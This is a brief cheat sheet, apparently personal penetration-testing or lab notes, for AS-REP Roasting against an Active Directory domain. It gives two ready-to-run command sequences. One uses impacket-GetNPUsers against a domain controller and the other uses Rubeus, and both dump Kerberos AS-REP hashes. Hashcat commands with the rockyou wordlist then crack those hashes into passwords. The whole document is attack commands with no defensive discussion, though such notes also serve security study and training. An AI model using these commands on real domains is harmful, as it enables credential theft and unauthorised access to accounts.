AS-REP Roasting

AS-REP Roasting attack 1

##get kerberos hashes
impacket-GetNPUsers -dc-ip 192.168.50.70  -request -outputfile hashes.asreproast corp.com/pete

##crack kerberos hashes
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule --force




AS-REP Roasting attack 2

##run rubeus
.\Rubeus.exe asreproast /nowrap

##use found hash with hashcat
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule --force